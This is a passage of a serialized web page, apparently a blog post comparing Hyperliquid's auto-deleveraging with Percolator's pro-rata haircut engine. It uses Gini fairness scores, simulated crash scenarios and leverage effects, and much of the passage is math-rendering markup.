(",{"type":23,"tag":209,"props":164108,"children":164110},{"className":164109},[4076,4077],[164111],{"type":23,"tag":213,"props":164112,"children":164114},{"className":164113},[4082],[164115],{"type":23,"tag":213,"props":164116,"children":164118},{"className":164117,"ariaHidden":1710},[4087],[164119,164197],{"type":23,"tag":213,"props":164120,"children":164122},{"className":164121},[4092],[164123,164127,164184,164188,164193],{"type":23,"tag":213,"props":164124,"children":164126},{"className":164125,"style":111097},[4097],[],{"type":23,"tag":213,"props":164128,"children":164130},{"className":164129},[4103],[164131,164136],{"type":23,"tag":213,"props":164132,"children":164134},{"className":164133,"style":122877},[4103,21637],[164135],{"type":28,"value":122880},{"type":23,"tag":213,"props":164137,"children":164139},{"className":164138},[4120],[164140],{"type":23,"tag":213,"props":164141,"children":164143},{"className":164142},[4125,21691],[164144,164173],{"type":23,"tag":213,"props":164145,"children":164147},{"className":164146},[4130],[164148,164168],{"type":23,"tag":213,"props":164149,"children":164151},{"className":164150,"style":161741},[4135],[164152],{"type":23,"tag":213,"props":164153,"children":164154},{"style":161745},[164155,164159],{"type":23,"tag":213,"props":164156,"children":164158},{"className":164157,"style":4145},[4144],[],{"type":23,"tag":213,"props":164160,"children":164162},{"className":164161},[4150,4151,4152,4153],[164163],{"type":23,"tag":213,"props":164164,"children":164166},{"className":164165},[4103,21637,4153],[164167],{"type":28,"value":21779},{"type":23,"tag":213,"props":164169,"children":164171},{"className":164170},[21794],[164172],{"type":28,"value":21797},{"type":23,"tag":213,"props":164174,"children":164176},{"className":164175},[4130],[164177],{"type":23,"tag":213,"props":164178,"children":164180},{"className":164179,"style":93183},[4135],[164181],{"type":23,"tag":213,"props":164182,"children":164183},{},[],{"type":23,"tag":213,"props":164185,"children":164187},{"className":164186,"style":4282},[4184],[],{"type":23,"tag":213,"props":164189,"children":164191},{"className":164190},[4287],[164192],{"type":28,"value":3190},{"type":23,"tag":213,"props":164194,"children":164196},{"className":164195,"style":4282},[4184],[],{"type":23,"tag":213,"props":164198,"children":164200},{"className":164199},[4092],[164201,164205],{"type":23,"tag":213,"props":164202,"children":164204},{"className":164203,"style":94131},[4097],[],{"type":23,"tag":213,"props":164206,"children":164208},{"className":164207},[4103],[164209],{"type":28,"value":4116},{"type":28,"value":15236},{"type":23,"tag":209,"props":164212,"children":164214},{"className":164213},[4076,4077],[164215],{"type":23,"tag":213,"props":164216,"children":164218},{"className":164217},[4082],[164219],{"type":23,"tag":213,"props":164220,"children":164222},{"className":164221,"ariaHidden":1710},[4087],[164223,164249],{"type":23,"tag":213,"props":164224,"children":164226},{"className":164225},[4092],[164227,164231,164236,164240,164245],{"type":23,"tag":213,"props":164228,"children":164230},{"className":164229,"style":21632},[4097],[],{"type":23,"tag":213,"props":164232,"children":164234},{"className":164233,"style":22096},[4103,21637],[164235],{"type":28,"value":22099},{"type":23,"tag":213,"props":164237,"children":164239},{"className":164238,"style":4282},[4184],[],{"type":23,"tag":213,"props":164241,"children":164243},{"className":164242},[4287],[164244],{"type":28,"value":3190},{"type":23,"tag":213,"props":164246,"children":164248},{"className":164247,"style":4282},[4184],[],{"type":23,"tag":213,"props":164250,"children":164252},{"className":164251},[4092],[164253,164257],{"type":23,"tag":213,"props":164254,"children":164256},{"className":164255,"style":94131},[4097],[],{"type":23,"tag":213,"props":164258,"children":164260},{"className":164259},[4103],[164261],{"type":28,"value":4116},{"type":28,"value":164263}," means nothing was recovered.",{"type":23,"tag":135,"props":164265,"children":164266},{},[164267,164271,164272,164395,164396,164613,164615,164719,164721,164772,164774,164826],{"type":23,"tag":87,"props":164268,"children":164269},{},[164270],{"type":28,"value":160920},{"type":28,"value":32967},{"type":23,"tag":209,"props":164273,"children":164275},{"className":164274},[4076,4077],[164276],{"type":23,"tag":213,"props":164277,"children":164279},{"className":164278},[4082],[164280],{"type":23,"tag":213,"props":164281,"children":164283},{"className":164282,"ariaHidden":1710},[4087],[164284,164310],{"type":23,"tag":213,"props":164285,"children":164287},{"className":164286},[4092],[164288,164292,164297,164301,164306],{"type":23,"tag":213,"props":164289,"children":164291},{"className":164290,"style":163817},[4097],[],{"type":23,"tag":213,"props":164293,"children":164295},{"className":164294},[4103],[164296],{"type":28,"value":4106},{"type":23,"tag":213,"props":164298,"children":164300},{"className":164299,"style":4185},[4184],[],{"type":23,"tag":213,"props":164302,"children":164304},{"className":164303},[4190],[164305],{"type":28,"value":4164},{"type":23,"tag":213,"props":164307,"children":164309},{"className":164308,"style":4185},[4184],[],{"type":23,"tag":213,"props":164311,"children":164313},{"className":164312},[4092],[164314,164318,164328,164333,164390],{"type":23,"tag":213,"props":164315,"children":164317},{"className":164316,"style":4205},[4097],[],{"type":23,"tag":213,"props":164319,"children":164321},{"className":164320},[4103,28],[164322],{"type":23,"tag":213,"props":164323,"children":164325},{"className":164324},[4103],[164326],{"type":28,"value":164327},"Gini",{"type":23,"tag":213,"props":164329,"children":164331},{"className":164330},[21766],[164332],{"type":28,"value":265},{"type":23,"tag":213,"props":164334,"children":164336},{"className":164335},[4103],[164337,164342],{"type":23,"tag":213,"props":164338,"children":164340},{"className":164339},[4103,21637],[164341],{"type":28,"value":84398},{"type":23,"tag":213,"props":164343,"children":164345},{"className":164344},[4120],[164346],{"type":23,"tag":213,"props":164347,"children":164349},{"className":164348},[4125,21691],[164350,164379],{"type":23,"tag":213,"props":164351,"children":164353},{"className":164352},[4130],[164354,164374],{"type":23,"tag":213,"props":164355,"children":164357},{"className":164356,"style":93629},[4135],[164358],{"type":23,"tag":213,"props":164359,"children":164360},{"style":93156},[164361,164365],{"type":23,"tag":213,"props":164362,"children":164364},{"className":164363,"style":4145},[4144],[],{"type":23,"tag":213,"props":164366,"children":164368},{"className":164367},[4150,4151,4152,4153],[164369],{"type":23,"tag":213,"props":164370,"children":164372},{"className":164371},[4103,21637,4153],[164373],{"type":28,"value":3826},{"type":23,"tag":213,"props":164375,"children":164377},{"className":164376},[21794],[164378],{"type":28,"value":21797},{"type":23,"tag":213,"props":164380,"children":164382},{"className":164381},[4130],[164383],{"type":23,"tag":213,"props":164384,"children":164386},{"className":164385,"style":93183},[4135],[164387],{"type":23,"tag":213,"props":164388,"children":164389},{},[],{"type":23,"tag":213,"props":164391,"children":164393},{"className":164392},[21788],[164394],{"type":28,"value":2121},{"type":28,"value":7411},{"type":23,"tag":209,"props":164397,"children":164399},{"className":164398},[4076,4077],[164400],{"type":23,"tag":213,"props":164401,"children":164403},{"className":164402},[4082],[164404],{"type":23,"tag":213,"props":164405,"children":164407},{"className":164406,"ariaHidden":1710},[4087],[164408,164486],{"type":23,"tag":213,"props":164409,"children":164411},{"className":164410},[4092],[164412,164416,164473,164477,164482],{"type":23,"tag":213,"props":164413,"children":164415},{"className":164414,"style":142378},[4097],[],{"type":23,"tag":213,"props":164417,"children":164419},{"className":164418},[4103],[164420,164425],{"type":23,"tag":213,"props":164421,"children":164423},{"className":164422},[4103,21637],[164424],{"type":28,"value":84398},{"type":23,"tag":213,"props":164426,"children":164428},{"className":164427},[4120],[164429],{"type":23,"tag":213,"props":164430,"children":164432},{"className":164431},[4125,21691],[164433,164462],{"type":23,"tag":213,"props":164434,"children":164436},{"className":164435},[4130],[164437,164457],{"type":23,"tag":213,"props":164438,"children":164440},{"className":164439,"style":93629},[4135],[164441],{"type":23,"tag":213,"props":164442,"children":164443},{"style":93156},[164444,164448],{"type":23,"tag":213,"props":164445,"children":164447},{"className":164446,"style":4145},[4144],[],{"type":23,"tag":213,"props":164449,"children":164451},{"className":164450},[4150,4151,4152,4153],[164452],{"type":23,"tag":213,"props":164453,"children":164455},{"className":164454},[4103,21637,4153],[164456],{"type":28,"value":3826},{"type":23,"tag":213,"props":164458,"children":164460},{"className":164459},[21794],[164461],{"type":28,"value":21797},{"type":23,"tag":213,"props":164463,"children":164465},{"className":164464},[4130],[164466],{"type":23,"tag":213,"props":164467,"children":164469},{"className":164468,"style":93183},[4135],[164470],{"type":23,"tag":213,"props":164471,"children":164472},{},[],{"type":23,"tag":213,"props":164474,"children":164476},{"className":164475,"style":4282},[4184],[],{"type":23,"tag":213,"props":164478,"children":164480},{"className":164479},[4287],[164481],{"type":28,"value":3190},{"type":23,"tag":213,"props":164483,"children":164485},{"className":164484,"style":4282},[4184],[],{"type":23,"tag":213,"props":164487,"children":164489},{"className":164488},[4092],[164490,164494,164551,164556],{"type":23,"tag":213,"props":164491,"children":164493},{"className":164492,"style":4205},[4097],[],{"type":23,"tag":213,"props":164495,"children":164497},{"className":164496},[4103],[164498,164503],{"type":23,"tag":213,"props":164499,"children":164501},{"className":164500},[4103,21637],[164502],{"type":28,"value":19329},{"type":23,"tag":213,"props":164504,"children":164506},{"className":164505},[4120],[164507],{"type":23,"tag":213,"props":164508,"children":164510},{"className":164509},[4125,21691],[164511,164540],{"type":23,"tag":213,"props":164512,"children":164514},{"className":164513},[4130],[164515,164535],{"type":23,"tag":213,"props":164516,"children":164518},{"className":164517,"style":93629},[4135],[164519],{"type":23,"tag":213,"props":164520,"children":164521},{"style":93156},[164522,164526],{"type":23,"tag":213,"props":164523,"children":164525},{"className":164524,"style":4145},[4144],[],{"type":23,"tag":213,"props":164527,"children":164529},{"className":164528},[4150,4151,4152,4153],[164530],{"type":23,"tag":213,"props":164531,"children":164533},{"className":164532},[4103,21637,4153],[164534],{"type":28,"value":3826},{"type":23,"tag":213,"props":164536,"children":164538},{"className":164537},[21794],[164539],{"type":28,"value":21797},{"type":23,"tag":213,"props":164541,"children":164543},{"className":164542},[4130],[164544],{"type":23,"tag":213,"props":164545,"children":164547},{"className":164546,"style":93183},[4135],[164548],{"type":23,"tag":213,"props":164549,"children":164550},{},[],{"type":23,"tag":213,"props":164552,"children":164554},{"className":164553},[4103],[164555],{"type":28,"value":4675},{"type":23,"tag":213,"props":164557,"children":164559},{"className":164558},[4103],[164560,164565],{"type":23,"tag":213,"props":164561,"children":164563},{"className":164562,"style":122380},[4103,21637],[164564],{"type":28,"value":49624},{"type":23,"tag":213,"props":164566,"children":164568},{"className":164567},[4120],[164569],{"type":23,"tag":213,"props":164570,"children":164572},{"className":164571},[4125,21691],[164573,164602],{"type":23,"tag":213,"props":164574,"children":164576},{"className":164575},[4130],[164577,164597],{"type":23,"tag":213,"props":164578,"children":164580},{"className":164579,"style":93629},[4135],[164581],{"type":23,"tag":213,"props":164582,"children":164583},{"style":161326},[164584,164588],{"type":23,"tag":213,"props":164585,"children":164587},{"className":164586,"style":4145},[4144],[],{"type":23,"tag":213,"props":164589,"children":164591},{"className":164590},[4150,4151,4152,4153],[164592],{"type":23,"tag":213,"props":164593,"children":164595},{"className":164594},[4103,21637,4153],[164596],{"type":28,"value":3826},{"type":23,"tag":213,"props":164598,"children":164600},{"className":164599},[21794],[164601],{"type":28,"value":21797},{"type":23,"tag":213,"props":164603,"children":164605},{"className":164604},[4130],[164606],{"type":23,"tag":213,"props":164607,"children":164609},{"className":164608,"style":93183},[4135],[164610],{"type":23,"tag":213,"props":164611,"children":164612},{},[],{"type":28,"value":164614}," for each winner with ",{"type":23,"tag":209,"props":164616,"children":164618},{"className":164617},[4076,4077],[164619],{"type":23,"tag":213,"props":164620,"children":164622},{"className":164621},[4082],[164623],{"type":23,"tag":213,"props":164624,"children":164626},{"className":164625,"ariaHidden":1710},[4087],[164627,164706],{"type":23,"tag":213,"props":164628,"children":164630},{"className":164629},[4092],[164631,164636,164693,164697,164702],{"type":23,"tag":213,"props":164632,"children":164635},{"className":164633,"style":164634},[4097],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":213,"props":164637,"children":164639},{"className":164638},[4103],[164640,164645],{"type":23,"tag":213,"props":164641,"children":164643},{"className":164642,"style":122380},[4103,21637],[164644],{"type":28,"value":49624},{"type":23,"tag":213,"props":164646,"children":164648},{"className":164647},[4120],[164649],{"type":23,"tag":213,"props":164650,"children":164652},{"className":164651},[4125,21691],[164653,164682],{"type":23,"tag":213,"props":164654,"children":164656},{"className":164655},[4130],[164657,164677],{"type":23,"tag":213,"props":164658,"children":164660},{"className":164659,"style":93629},[4135],[164661],{"type":23,"tag":213,"props":164662,"children":164663},{"style":161326},[164664,164668],{"type":23,"tag":213,"props":164665,"children":164667},{"className":164666,"style":4145},[4144],[],{"type":23,"tag":213,"props":164669,"children":164671},{"className":164670},[4150,4151,4152,4153],[164672],{"type":23,"tag":213,"props":164673,"children":164675},{"className":164674},[4103,21637,4153],[164676],{"type":28,"value":3826},{"type":23,"tag":213,"props":164678,"children":164680},{"className":164679},[21794],[164681],{"type":28,"value":21797},{"type":23,"tag":213,"props":164683,"children":164685},{"className":164684},[4130],[164686],{"type":23,"tag":213,"props":164687,"children":164689},{"className":164688,"style":93183},[4135],[164690],{"type":23,"tag":213,"props":164691,"children":164692},{},[],{"type":23,"tag":213,"props":164694,"children":164696},{"className":164695,"style":4282},[4184],[],{"type":23,"tag":213,"props":164698,"children":164700},{"className":164699},[4287],[164701],{"type":28,"value":10545},{"type":23,"tag":213,"props":164703,"children":164705},{"className":164704,"style":4282},[4184],[],{"type":23,"tag":213,"props":164707,"children":164709},{"className":164708},[4092],[164710,164714],{"type":23,"tag":213,"props":164711,"children":164713},{"className":164712,"style":94131},[4097],[],{"type":23,"tag":213,"props":164715,"children":164717},{"className":164716},[4103],[164718],{"type":28,"value":4116},{"type":28,"value":164720}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":23,"tag":209,"props":164722,"children":164724},{"className":164723},[4076,4077],[164725],{"type":23,"tag":213,"props":164726,"children":164728},{"className":164727},[4082],[164729],{"type":23,"tag":213,"props":164730,"children":164732},{"className":164731,"ariaHidden":1710},[4087],[164733,164759],{"type":23,"tag":213,"props":164734,"children":164736},{"className":164735},[4092],[164737,164741,164746,164750,164755],{"type":23,"tag":213,"props":164738,"children":164740},{"className":164739,"style":21632},[4097],[],{"type":23,"tag":213,"props":164742,"children":164744},{"className":164743,"style":21638},[4103,21637],[164745],{"type":28,"value":121878},{"type":23,"tag":213,"props":164747,"children":164749},{"className":164748,"style":4282},[4184],[],{"type":23,"tag":213,"props":164751,"children":164753},{"className":164752},[4287],[164754],{"type":28,"value":3190},{"type":23,"tag":213,"props":164756,"children":164758},{"className":164757,"style":4282},[4184],[],{"type":23,"tag":213,"props":164760,"children":164762},{"className":164761},[4092],[164763,164767],{"type":23,"tag":213,"props":164764,"children":164766},{"className":164765,"style":94131},[4097],[],{"type":23,"tag":213,"props":164768,"children":164770},{"className":164769},[4103],[164771],{"type":28,"value":4106},{"type":28,"value":164773}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":209,"props":164775,"children":164777},{"className":164776},[4076,4077],[164778],{"type":23,"tag":213,"props":164779,"children":164781},{"className":164780},[4082],[164782],{"type":23,"tag":213,"props":164783,"children":164785},{"className":164784,"ariaHidden":1710},[4087],[164786,164813],{"type":23,"tag":213,"props":164787,"children":164789},{"className":164788},[4092],[164790,164794,164799,164803,164809],{"type":23,"tag":213,"props":164791,"children":164793},{"className":164792,"style":21632},[4097],[],{"type":23,"tag":213,"props":164795,"children":164797},{"className":164796,"style":21638},[4103,21637],[164798],{"type":28,"value":121878},{"type":23,"tag":213,"props":164800,"children":164802},{"className":164801,"style":4282},[4184],[],{"type":23,"tag":213,"props":164804,"children":164806},{"className":164805},[4287],[164807],{"type":28,"value":164808},"≈",{"type":23,"tag":213,"props":164810,"children":164812},{"className":164811,"style":4282},[4184],[],{"type":23,"tag":213,"props":164814,"children":164816},{"className":164815},[4092],[164817,164821],{"type":23,"tag":213,"props":164818,"children":164820},{"className":164819,"style":94131},[4097],[],{"type":23,"tag":213,"props":164822,"children":164824},{"className":164823},[4103],[164825],{"type":28,"value":4116},{"type":28,"value":164827}," means a few get wiped while most are untouched.",{"type":23,"tag":135,"props":164829,"children":164830},{},[164831,164835,164836,164994,164996,165090,165092],{"type":23,"tag":87,"props":164832,"children":164833},{},[164834],{"type":28,"value":160930},{"type":28,"value":32967},{"type":23,"tag":209,"props":164837,"children":164839},{"className":164838},[4076,4077],[164840],{"type":23,"tag":213,"props":164841,"children":164843},{"className":164842},[4082],[164844],{"type":23,"tag":213,"props":164845,"children":164847},{"className":164846,"ariaHidden":1710},[4087],[164848],{"type":23,"tag":213,"props":164849,"children":164851},{"className":164850},[4092],[164852,164857,164932,164937],{"type":23,"tag":213,"props":164853,"children":164856},{"className":164854,"style":164855},[4097],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":213,"props":164858,"children":164860},{"className":164859},[4103],[164861,164866],{"type":23,"tag":213,"props":164862,"children":164864},{"className":164863,"style":95108},[4103,21637],[164865],{"type":28,"value":161655},{"type":23,"tag":213,"props":164867,"children":164869},{"className":164868},[4120],[164870],{"type":23,"tag":213,"props":164871,"children":164873},{"className":164872},[4125,21691],[164874,164920],{"type":23,"tag":213,"props":164875,"children":164877},{"className":164876},[4130],[164878,164915],{"type":23,"tag":213,"props":164879,"children":164881},{"className":164880,"style":108817},[4135],[164882,164899],{"type":23,"tag":213,"props":164883,"children":164885},{"style":164884},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[164886,164890],{"type":23,"tag":213,"props":164887,"children":164889},{"className":164888,"style":4145},[4144],[],{"type":23,"tag":213,"props":164891,"children":164893},{"className":164892},[4150,4151,4152,4153],[164894],{"type":23,"tag":213,"props":164895,"children":164897},{"className":164896,"style":21638},[4103,21637,4153],[164898],{"type":28,"value":6079},{"type":23,"tag":213,"props":164900,"children":164901},{"style":4139},[164902,164906],{"type":23,"tag":213,"props":164903,"children":164905},{"className":164904,"style":4145},[4144],[],{"type":23,"tag":213,"props":164907,"children":164909},{"className":164908},[4150,4151,4152,4153],[164910],{"type":23,"tag":213,"props":164911,"children":164913},{"className":164912,"style":93586},[4103,21637,4153],[164914],{"type":28,"value":161169},{"type":23,"tag":213,"props":164916,"children":164918},{"className":164917},[21794],[164919],{"type":28,"value":21797},{"type":23,"tag":213,"props":164921,"children":164923},{"className":164922},[4130],[164924],{"type":23,"tag":213,"props":164925,"children":164928},{"className":164926,"style":164927},[4135],"height:0.2753em;",[164929],{"type":23,"tag":213,"props":164930,"children":164931},{},[],{"type":23,"tag":213,"props":164933,"children":164935},{"className":164934},[4103],[164936],{"type":28,"value":4675},{"type":23,"tag":213,"props":164938,"children":164940},{"className":164939},[4103],[164941,164946],{"type":23,"tag":213,"props":164942,"children":164944},{"className":164943,"style":95108},[4103,21637],[164945],{"type":28,"value":161655},{"type":23,"tag":213,"props":164947,"children":164949},{"className":164948},[4120],[164950],{"type":23,"tag":213,"props":164951,"children":164953},{"className":164952},[4125,21691],[164954,164983],{"type":23,"tag":213,"props":164955,"children":164957},{"className":164956},[4130],[164958,164978],{"type":23,"tag":213,"props":164959,"children":164961},{"className":164960,"style":142654},[4135],[164962],{"type":23,"tag":213,"props":164963,"children":164964},{"style":161674},[164965,164969],{"type":23,"tag":213,"props":164966,"children":164968},{"className":164967,"style":4145},[4144],[],{"type":23,"tag":213,"props":164970,"children":164972},{"className":164971},[4150,4151,4152,4153],[164973],{"type":23,"tag":213,"props":164974,"children":164976},{"className":164975,"style":21638},[4103,21637,4153],[164977],{"type":28,"value":6079},{"type":23,"tag":213,"props":164979,"children":164981},{"className":164980},[21794],[164982],{"type":28,"value":21797},{"type":23,"tag":213,"props":164984,"children":164986},{"className":164985},[4130],[164987],{"type":23,"tag":213,"props":164988,"children":164990},{"className":164989,"style":93183},[4135],[164991],{"type":23,"tag":213,"props":164992,"children":164993},{},[],{"type":28,"value":164995}," — ",{"type":23,"tag":209,"props":164997,"children":164999},{"className":164998},[4076,4077],[165000],{"type":23,"tag":213,"props":165001,"children":165003},{"className":165002},[4082],[165004],{"type":23,"tag":213,"props":165005,"children":165007},{"className":165006,"ariaHidden":1710},[4087],[165008],{"type":23,"tag":213,"props":165009,"children":165011},{"className":165010},[4092],[165012,165017],{"type":23,"tag":213,"props":165013,"children":165016},{"className":165014,"style":165015},[4097],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":213,"props":165018,"children":165020},{"className":165019},[4103],[165021,165026],{"type":23,"tag":213,"props":165022,"children":165024},{"className":165023,"style":95108},[4103,21637],[165025],{"type":28,"value":161655},{"type":23,"tag":213,"props":165027,"children":165029},{"className":165028},[4120],[165030],{"type":23,"tag":213,"props":165031,"children":165033},{"className":165032},[4125,21691],[165034,165079],{"type":23,"tag":213,"props":165035,"children":165037},{"className":165036},[4130],[165038,165074],{"type":23,"tag":213,"props":165039,"children":165041},{"className":165040,"style":108817},[4135],[165042,165058],{"type":23,"tag":213,"props":165043,"children":165044},{"style":164884},[165045,165049],{"type":23,"tag":213,"props":165046,"children":165048},{"className":165047,"style":4145},[4144],[],{"type":23,"tag":213,"props":165050,"children":165052},{"className":165051},[4150,4151,4152,4153],[165053],{"type":23,"tag":213,"props":165054,"children":165056},{"className":165055,"style":21638},[4103,21637,4153],[165057],{"type":28,"value":6079},{"type":23,"tag":213,"props":165059,"children":165060},{"style":4139},[165061,165065],{"type":23,"tag":213,"props":165062,"children":165064},{"className":165063,"style":4145},[4144],[],{"type":23,"tag":213,"props":165066,"children":165068},{"className":165067},[4150,4151,4152,4153],[165069],{"type":23,"tag":213,"props":165070,"children":165072},{"className":165071,"style":93586},[4103,21637,4153],[165073],{"type":28,"value":161169},{"type":23,"tag":213,"props":165075,"children":165077},{"className":165076},[21794],[165078],{"type":28,"value":21797},{"type":23,"tag":213,"props":165080,"children":165082},{"className":165081},[4130],[165083],{"type":23,"tag":213,"props":165084,"children":165086},{"className":165085,"style":164927},[4135],[165087],{"type":23,"tag":213,"props":165088,"children":165089},{},[],{"type":28,"value":165091}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":209,"props":165093,"children":165095},{"className":165094},[4076,4077],[165096],{"type":23,"tag":213,"props":165097,"children":165099},{"className":165098},[4082],[165100],{"type":23,"tag":213,"props":165101,"children":165103},{"className":165102,"ariaHidden":1710},[4087],[165104],{"type":23,"tag":213,"props":165105,"children":165107},{"className":165106},[4092],[165108,165112],{"type":23,"tag":213,"props":165109,"children":165111},{"className":165110,"style":110941},[4097],[],{"type":23,"tag":213,"props":165113,"children":165115},{"className":165114,"style":93586},[4103,21637],[165116],{"type":28,"value":161169},{"type":23,"tag":24,"props":165118,"children":165119},{},[165120],{"type":28,"value":165121},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":165123,"props":165124,"children":165126},"git-hub-repo-link",{"url":165125},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":24,"props":165128,"children":165129},{},[165130,165132,165137],{"type":28,"value":165131},"Given a fixed ",{"type":23,"tag":87,"props":165133,"children":165134},{},[165135],{"type":28,"value":165136},"a priori",{"type":28,"value":165138}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":24,"props":165140,"children":165141},{},[165142,165144,165149,165151,165228],{"type":28,"value":165143},"One prediction that we can make is that Percolator is ",{"type":23,"tag":87,"props":165145,"children":165146},{},[165147],{"type":28,"value":165148},"perfectly fair",{"type":28,"value":165150}," according to this scoring: the ",{"type":23,"tag":209,"props":165152,"children":165154},{"className":165153},[4076,4077],[165155],{"type":23,"tag":213,"props":165156,"children":165158},{"className":165157},[4082],[165159],{"type":23,"tag":213,"props":165160,"children":165162},{"className":165161,"ariaHidden":1710},[4087],[165163],{"type":23,"tag":213,"props":165164,"children":165166},{"className":165165},[4092],[165167,165171],{"type":23,"tag":213,"props":165168,"children":165170},{"className":165169,"style":142378},[4097],[],{"type":23,"tag":213,"props":165172,"children":165174},{"className":165173},[4103],[165175,165180],{"type":23,"tag":213,"props":165176,"children":165178},{"className":165177},[4103,21637],[165179],{"type":28,"value":84398},{"type":23,"tag":213,"props":165181,"children":165183},{"className":165182},[4120],[165184],{"type":23,"tag":213,"props":165185,"children":165187},{"className":165186},[4125,21691],[165188,165217],{"type":23,"tag":213,"props":165189,"children":165191},{"className":165190},[4130],[165192,165212],{"type":23,"tag":213,"props":165193,"children":165195},{"className":165194,"style":93629},[4135],[165196],{"type":23,"tag":213,"props":165197,"children":165198},{"style":93156},[165199,165203],{"type":23,"tag":213,"props":165200,"children":165202},{"className":165201,"style":4145},[4144],[],{"type":23,"tag":213,"props":165204,"children":165206},{"className":165205},[4150,4151,4152,4153],[165207],{"type":23,"tag":213,"props":165208,"children":165210},{"className":165209},[4103,21637,4153],[165211],{"type":28,"value":3826},{"type":23,"tag":213,"props":165213,"children":165215},{"className":165214},[21794],[165216],{"type":28,"value":21797},{"type":23,"tag":213,"props":165218,"children":165220},{"className":165219},[4130],[165221],{"type":23,"tag":213,"props":165222,"children":165224},{"className":165223,"style":93183},[4135],[165225],{"type":23,"tag":213,"props":165226,"children":165227},{},[],{"type":28,"value":165229}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":24,"props":165231,"children":165232},{},[165233,165235,165240],{"type":28,"value":165234},"We are ignoring the ",{"type":23,"tag":87,"props":165236,"children":165237},{},[165238],{"type":28,"value":165239},"a posteriori",{"type":28,"value":165241}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":24,"props":165243,"children":165244},{},[165245],{"type":28,"value":165246},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":23,"tag":47,"props":165248,"children":165250},{"id":165249},"simulations",[165251],{"type":28,"value":165252},"Simulations",{"type":23,"tag":24,"props":165254,"children":165255},{},[165256],{"type":28,"value":165257},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":24,"props":165259,"children":165260},{},[165261],{"type":23,"tag":4009,"props":165262,"children":165265},{"alt":165263,"src":165264},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":24,"props":165267,"children":165268},{},[165269],{"type":28,"value":165270},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":24,"props":165272,"children":165273},{},[165274],{"type":23,"tag":4009,"props":165275,"children":165278},{"alt":165276,"src":165277},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":9693,"props":165280,"children":165282},{"id":165281},"percolator-is-more-optimistic",[165283],{"type":28,"value":165284},"Percolator Is More \"Optimistic\"",{"type":23,"tag":24,"props":165286,"children":165287},{},[165288,165290,165295,165297,165302,165304,165310,165312,165317],{"type":28,"value":165289},"The key difference is what happens to positions. ADL ",{"type":23,"tag":87,"props":165291,"children":165292},{},[165293],{"type":28,"value":165294},"permanently closes",{"type":28,"value":165296}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":87,"props":165298,"children":165299},{},[165300],{"type":28,"value":165301},"withdraw",{"type":28,"value":165303},", but the position stays open. If conditions improve, ",{"type":23,"tag":209,"props":165305,"children":165307},{"className":165306},[],[165308],{"type":28,"value":165309},"Residual",{"type":28,"value":165311}," goes up, ",{"type":23,"tag":209,"props":165313,"children":165315},{"className":165314},[],[165316],{"type":28,"value":84398},{"type":28,"value":165318}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":24,"props":165320,"children":165321},{},[165322,165324,165328],{"type":28,"value":165323},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":87,"props":165325,"children":165326},{},[165327],{"type":28,"value":20241},{"type":28,"value":165329}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":24,"props":165331,"children":165332},{},[165333],{"type":23,"tag":4009,"props":165334,"children":165337},{"alt":165335,"src":165336},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":47,"props":165339,"children":165341},{"id":165340},"some-points-to-be-made",[165342],{"type":28,"value":165343},"Some Points to Be Made",{"type":23,"tag":9693,"props":165345,"children":165347},{"id":165346},"percolator-is-indifferent-to-leverage",[165348],{"type":28,"value":165349},"Percolator Is Indifferent to Leverage",{"type":23,"tag":24,"props":165351,"children":165352},{},[165353],{"type":28,"value":165354},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":24,"props":165356,"children":165357},{},[165358],{"type":23,"tag":4009,"props":165359,"children":165362},{"alt":165360,"src":165361},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":9693,"props":165364,"children":165366},{"id":165365},"fairness",[165367],{"type":28,"value":160920},{"type":23,"tag":24,"props":165369,"children":165370},{},[165371],{"type":28,"value":165372},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":24,"props":165374,"children":165375},{},[165376],{"type":23,"tag":4009,"props":165377,"children":165380},{"alt":165378,"src":165379},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":24,"props":165382,"children":165383},{},[165384,165386,165391],{"type":28,"value":165385},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":209,"props":165387,"children":165389},{"className":165388},[],[165390],{"type":28,"value":159422},{"type":28,"value":165392}," we start by fully 